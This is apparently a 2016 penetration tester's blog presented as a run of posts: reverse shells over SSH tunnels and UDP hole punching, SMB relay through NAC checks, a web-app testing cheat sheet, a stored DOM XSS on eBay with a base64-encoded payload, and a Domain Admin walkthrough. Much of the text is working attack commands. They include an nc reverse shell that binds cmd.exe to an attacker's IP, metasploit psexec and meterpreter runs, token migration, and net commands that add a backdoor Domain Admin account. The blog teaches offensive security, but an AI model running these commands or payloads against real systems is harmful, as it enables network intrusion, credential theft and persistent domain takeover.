Monday, July 18, 2016

msfvenom Bash Completion Generator

I've spent a lot of time in writing commands for msfvenom... Tired and automated it with Bash Completions. Outdated version can be found here.

But in this case, every new payload should be added manually. Not fun.

Again, some automation and now it will be automatically generated.
root@kali:/opt/metasploit-framework# git clone 
Cloning into 'msfvenom-bc-generator'...
remote: Counting objects: 9, done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 1), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (9/9), done.
root@kali:/opt/metasploit-framework# mv ./msfvenom-bc-generator/msfvenom_bc_generator.rb .
root@kali:/opt/metasploit-framework# ruby msfvenom_bc_generator.rb 
[+] Collecting output formats
[+] Collecting payloads
[+] Collecting encoders
[+] Collecting nops
[+] Generating bash_completion file
[+] Writing out /etc/bash_completion.d/msfvenom
[+] Done. Open a new terminal and type msfvenom TABTAB :)

root@kali:/opt/metasploit-framework# msfvenom -p linux/x86/ <tab><tab>
linux/x86/adduser                         linux/x86/meterpreter/reverse_tcp         linux/x86/shell_bind_tcp_random_port
linux/x86/chmod                           linux/x86/meterpreter/reverse_tcp_uuid    linux/x86/shell/bind_tcp_uuid
linux/x86/exec                            linux/x86/metsvc_bind_tcp                 linux/x86/shell_find_port
linux/x86/meterpreter/bind_ipv6_tcp       linux/x86/metsvc_reverse_tcp              linux/x86/shell_find_tag
linux/x86/meterpreter/bind_ipv6_tcp_uuid  linux/x86/read_file                       linux/x86/shell/find_tag
linux/x86/meterpreter/bind_nonx_tcp       linux/x86/shell_bind_ipv6_tcp             linux/x86/shell/reverse_ipv6_tcp
linux/x86/meterpreter/bind_tcp            linux/x86/shell/bind_ipv6_tcp             linux/x86/shell/reverse_nonx_tcp
linux/x86/meterpreter/bind_tcp_uuid       linux/x86/shell/bind_ipv6_tcp_uuid        linux/x86/shell_reverse_tcp
linux/x86/meterpreter/find_tag            linux/x86/shell/bind_nonx_tcp             linux/x86/shell/reverse_tcp
linux/x86/meterpreter/reverse_ipv6_tcp    linux/x86/shell_bind_tcp                  linux/x86/shell_reverse_tcp2
linux/x86/meterpreter/reverse_nonx_tcp    linux/x86/shell/bind_tcp                  linux/x86/shell/reverse_tcp_uuid
root@kali:/opt/metasploit-framework# msfvenom -p linux/x86/

Sunday, July 17, 2016

LAN to VPN Reverse Shell (Reverse SSH Technique)

Hi there,

How to get reverse shell if you are behind VPN (NAT) and you can't or don't want to make port-forwarding?
It's another, less popular reverse shell method, that needs some requirements and preparations.

reverse shell, hacking, ssh tunneling

By the way, you may try out UDP Hole Punching Technique or use this one instead.

Do do so, you will need some linux box with public IP and root access level.

Let's create Reverse shell via Reverse SSH Tunnel:

1. Start up exploit/multi/handler listening on 443 port (locally):
use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST
msf exploit(handler) > set exitonsession false
msf exploit(handler) > run -j
[*] Exploit running as background job.

[*] Started reverse TCP handler on 
[*] Starting the payload handler...
msf exploit(handler) > 

2. Create Reverse SSH Tunnel with public linux box:
root@kali:~# ssh -R 443:

Just to remind ssh tunneling syntax:
-R will open port 443 on and will forward all traffic to attackers host in our case:

3. Run reverse shell on victim's host.
4. Profit!

But to make it work you should add this line to /etc/ssh/sshd_config file (on linux host):
GatewayPorts yes

Otherwise, linux box will listen on localhost only and will be unable to accept connections externally.

Attack Flow Diagram

Hi there,
I've tried to organize common tasks within internal network penetration testing. Haven't seen something like this before..

PDF can be found here:

hacking, attack flow, penetration testing

Many aspects are excluded from this diagram, and i'm pretty sure that i forgot something.
Guys, i will be more than happy to hear suggestions on upgrading this diagram.

Monday, July 11, 2016

LAN to VPN Reverse shell (UDP Hole punching)

Did you know that you can use netcat in UDP mode?

Why it is useful?

Imagine two hosts: Alice and Bob that both located behind NAT. And they want to exchange some data... In TCP scheme you can't accomplish that without port forwarding, but with UDP...

This technique called UDP hole punching:
1. Alice sends packet to Bob's public IP, lets say, any statefull packet inspection (SPI) firewall will start session from Alice local host to
2. Bob's firewall will drop that packet.
3. Bob sends another packet to Alice's public IP, lets say, and again Bob's SPI firewall will start session.
4. Woala! Alice got UDP packet from bob.
From now, both Alive and Bob have opened sessions and may communicate each other without interference.

How it may look from an attacker's view?
Easy. Hacker that stay behind of some kind VPN may get reverse shell on your local host in enterprise network.
This way:

On attacker host:
nc -up vpn_port attackerVPNpublicIP victim_source_port

On victim host:
nc -up victim_source_port attackerVPNpublicIP vpn_port -e c:\windows\system32\cmd.exe

Proof of Concept:
Any bittorrent client :)

More info:

Saturday, July 9, 2016

RCE by abusing NAC to gain Domain Persistence.

Hi there!
I want to share how to compromise whole enterprise network in less than ONE minute :)

If you'll refer to this article, please leave credit to Alexander Korznikov & Viktor Minin.. thanks.

Let's begin... As security consultants, we often advice to our clients to implement Network Access Control systems to prevent some nasty people to do their nasty things...

This article is not about how to bypass Network Access Control systems, but if you're interested, read this:
In two words, NAT can bypass almost everything and stay undetectable in enterprise network.

So when somebody (huge organisations) implementing NAC in their network environment, they are implementing a huge backdoor -  called NAC.

Let me explain some NAC logic:
1. Check for trusted MAC address.
2. Check installed components/registry keys in workstation via WMI interface.
3. Check another stuff in workstation's NAC agent.

Wait for a second. How NAC will connect to a workstation to check (2) Registry Keys via WMI?
Right. SMB Authentication with highly privileged account, in Domain Admin group.

Let's assume these:
1. We have a list of workstation's IPs gathered in passive reconnaissance (wireshark for example)
2. We know which IP belongs to Domain Contoller.

Is something or someone can prevent me from performing SMB-Relay attack? NO!
On servers this will not work, because of SMB Signing option is required.

We take some workstation IP address, and while NAC is performing it's host validation, we will relay SMB authentication to legitimate workstation.

It is trivial, but as result we are able to:
1. Reuse this authentication token and create a new Domain Admin account.
2. In case if this fails, we can create a local administrator account on ANY workstation.
3. Extract credentials of ALL local users including local admins.
4. Gain full control of the corporate network, including Domain Admin accounts.

All this is done in less than ONE minute, before the port will be closed (by NAC).

This issue was tested on several Network Access Control systems.

Bottom line: Think twice before advice.

Leave credits to:
Alexander Korznikov & Viktor Minin

Monday, June 20, 2016

XSS Challenges for All levels. Check this out!

Just updated the challenges.

Stay tuned.

Tuesday, June 7, 2016

Web-App Penetration Testing Cheat-Sheet

  2. Login Page? Default Credentials.
  3. Wordpress: wpscan --url --enumerate vp --random-agent
  4. nikto -host
  5. wfuzz -I -c t 60 -w your_dictionary.txt  --hc 404,302 // i like it more than dirbuster
  6. Open Burp Suite, explore application, analyze requests/responses.
  7. Pass to every parameter character validation locator '">my_string\ //there Apostrophe, Quote and escaping char at the end.
  8. Configure Burp to intercept responses if "my_string" is found. // This may reveal XSS & SQL Injection and other errors
  9. Is there file upload functionality?
  10. "page" param in url? LFI/RFI?
  11. XML? XXE.
  12. See console-alike output? Command Injection?
  13. In case of command injection, don't forget to: nc 5353
  14. Is there WebSockets? Open network tab in browser or Burp Suite for easy examination.
  15. Google for outdated scripts: ext:php
  16. In google's results, append to the end of url: &filter=0&start=900 to analyze most outdated results.
  17. Look for application logic issues: like sending price in request.
  18. Suggestions??

quick post... any suggestions?

Knocking Server in 50 lines with Scapy

You may prefer knockd daemon, but i prefer something custom.. as always.

If you don't know what it is, google for Port Knocking.

Get my knocking client-server:
git clone

On server-side, i have this iptables config:

root@ubuntu:~# iptables-save
-A INPUT -i lo -j ACCEPT
-A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT

I'm using whitelisting technique, so all policies set to DROP.
This particular machine will not reply to pings, and will seem to be down.

But, it runs my knocking server and web server in background.
It will accept connection to the web server only if knocking-client will active.

Configuration is pretty simple, just open the source.

Sunday, May 1, 2016

My XSS Challenge

Try your XSS skills:

Feedback are welcome!

Wednesday, February 17, 2016

Persistent (Stored) DOM XSS on domain

Persistent DOM XSS on domain.

In details... :)

One of my hobbies, is selling on ebay.
In January 2015, i've analyzed creation of selling page, and how it's handled by

If we look at random listing, we'll notice, that user's content loaded from, so if you try to execute some javascript on your custom listing, you will get alert from

It's ok, it's "secure".

But, if we'll go deeper, we will notice that our page load one strange external javascript at the bottom of user's content page:

By analyzing that script, i've notices that there presents postMessage function:

and... if there is postMessage, so somewhere should be some kind of receiveMessage().
There are a lot of postMessages, and i've decided to search by domain name.

Let's search for in all resources:

then it's key 'tgto' as origin:

Bingo! There are two variables that are rendered to the client!
1. _odtTitle
2. _odtSubTitle

Now i need to write a working XSS for it with some evasions, because of simple filtration...

Base payload:
_odtTitle='\<script\>alert(\'xss by alexander korznikov\\n\\n\'\+document.domain);\<\/script\>';

Encoded with base64 and appended to listing description in <script> tag:

code = atob("X29kdFRpdGxlPSdcPHNjcmlwdFw+YWxlcnQoXCd4c3MgYnkgYWxleGFuZGVyIGtvcnpuaWtvdlxcblxcblwnXCtkb2N1bWVudC5kb21haW4pO1w8XC9zY3JpcHRcPic7")

window.onload = function() {
   var s = document.createElement('script');
   s.type = 'text/javascript';
   s.text = code;

Thank you eBay for this cool challenge! :)

P.S. But why did you managed to fix it for one year?

Wednesday, January 13, 2016

Network Penetration Testing. Domain Admin Quick Win #1.

Let's start with sequence of posts about network penetration testing.

In every Network PT, my goal is Domain Admin account.

Every time get ethernet wall jack inside some organization, and start testing it without any prior knowledge about internal network topology, IP addresses etc.

First of all, because of no knowledge if there is some implementation of NAC (Network Access Control), i perform a passive information gathering about the network, IP addresses etc.

Configure your network-manager, that it will not request IP address from DHCP Server, to be quiet as possible.

So I start listening to traffic with wireshark and go out to take a cigarette :)
Almost every computer talks. Broadcasting...
Even on small network, many many packets pass in.

REMEMBER, Do not query DHCP Server for an IP Address!
In first step there's only passive scanning. Fully promiscuous... :)

When I come back from a smoke break, i've already got a list of stations broadcasting and exposing itselves.

Wireshark > Statistics > Endpoint List > IPv4

In terminal:

# nano a
Ctrl+Shift+V (paste)

# cat a | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > hosts.txt

Let's assume that there is no NAC implemented (will talk about NAC Bypass in another post...)

Now we have full network access including small list of active hosts.

As always, i will have a windows based network, with Active Directory services and lot of workstations.

What to do?
Quick win: LLMNR & Netbios  poisoning. Responder.

As i understood from dozens network penetration testings, organizations have two major weaknesses:
1. Weak password policy.
2. Domain User == Local Administrator on his/her workstation.

Responder will throw you large amount of NetNTLMv1/v2 hashes, that probably will be easy to crack.

/* Responder is very cool tool, that will answer to every LLMNR broadcast query, asking for downgrade to NETBIOS, and then request a hashed password.
It's based on human factor (typos), outdated scripts, laptops that making use of multiple networks, etc... */

Download and try it now :) it has many other features. Explore it in your free time.

You will get hashes like these:

NetNTLM hashes can be cracked with many tools, i prefer: John-the-ripper / cudaHashcat / oclHashcat

In our first case, we successfully cracked some hash:
# cudaHashcat -m 5500 -a 0 responder_hashes.txt wordlist.txt
# hashcat -m 5500 responder.txt --show
cudaHashcat v2.01 starting...


I like metasploit.
# msfconsole

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set smbdomain testdomain
msf exploit(psexec) > set smbuser johny
msf exploit(psexec) > set smbpass Qwerty123
msf exploit(psexec) > set rhost
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp_rc4
msf exploit(psexec) > set rc4password supersecret
msf exploit(psexec) > set LHOST <TAB><TAB>
msf exploit(psexec) > set lport 443
msf exploit(psexec) > run

[*] Started reverse TCP handler on
[*] Connecting to the server...
[*] Authenticating to as user 'johny'...
[*] Selecting PowerShell target
[*] - Executing the payload...
[+] - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (957491 bytes) to
[*] Meterpreter session 1 opened ( -> at 2016-01-13 02:51:30 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Now we've got a workstation in this organization.

Quick win #1 Pass the token (the simple way):
meterpreter > ps
Process List

 PID    PPID   Name                            Arch  Session  User                          Path
 ---    ----   ----                            ----  -------  ----                          ----
 0      0      [System Process]                                                             
 4      0      System                          x64   0                                      
 192    904    csrss.exe                       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
 544    836    winlogon.exe                    x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 556    848    lsass.exe                       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 716    4      smss.exe                        x64   0        NT AUTHORITY\SYSTEM           C:\Program Files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe
 1224   7016   schedhlp.exe                    x86   2        testdomain\domadmin           C:\Program Files (x86)\Common Files\Acronis\Schedule2\schedhlp.exe
 1232   920    svchost.exe                     x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1336   920    svchost.exe                     x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1520   920    schedul2.exe                    x64   0        NT AUTHORITY\SYSTEM           C:\Program Files (x86)\Common Files\Acronis\Schedule2\schedul2.exe
 1672   920    svchost.exe                     x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1760   920    afcdpsrv.exe                    x86   0        NT AUTHORITY\SYSTEM           c:\Program Files (x86)\Common Files\Acronis\CDP\afcdpsrv.exe
 1924   920    spoolsv.exe                     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1988   920    svchost.exe                     x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 2104   920    AppleMobileDeviceService.exe    x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
 2436   920    LMS.exe                         x86   0        NT AUTHORITY\SYSTEM           C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
 2464   920    xrksmdb.exe                     x64   0        NT AUTHORITY\SYSTEM           C:\Program Files (x86)\Xerox Office Printing\WorkCentre SSW\PrintingScout\xrksmdb.exe
 2496   2808   RAVCpl64.exe                    x64   1        testdomain\johny              C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
 2500   920    iPodService.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\iPod\bin\iPodService.exe
 2524   1336   audiodg.exe                     x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\audiodg.exe
 2808   2768   explorer.exe                    x64   1        testdomain\johny              C:\Windows\explorer.exe
 2872   7016   egui.exe                        x64   2        testdomain\domadmin           C:\Program Files\ESET\ESET NOD32 Antivirus\egui.exe
 2908   2744   Paragon ExtFS for Windows.exe   x86   1        testdomain\johny              C:\Program Files (x86)\Paragon Software\Paragon ExtFS for Windows\Paragon ExtFS for Windows.exe
 2936   2808   ipoint.exe                      x64   1        testdomain\johny              C:\Program Files\Microsoft IntelliPoint\ipoint.exe

Stealing testdomain\domadmin token:
meterpreter > migrate 2872
[*] Migrating from 12104 to 2872...
[*] Migration completed successfully.
meterpreter > shell


c:\net user domadmin /domain
The request will be processed at a domain controller for domain testdomain.local

User name                     domadmin
Full name
Global Group memberships      *Domain Admins      *Domain Users
The command completed successfully.

c:\net user support myPass123 /add /domain
The request will be processed at a domain controller for domain testdomain.local

The command completed successfully.

c:\net localgroup administrators support /add /domain
The request will be processed at a domain controller for domain testdomain.local

The command completed successfully.

c:\net group "Domain Admins" support /add /domain
The request will be processed at a domain controller for domain testdomain.local

The command completed successfully.
Game over.

Next post will be another examples gaining domain admin account.
See you!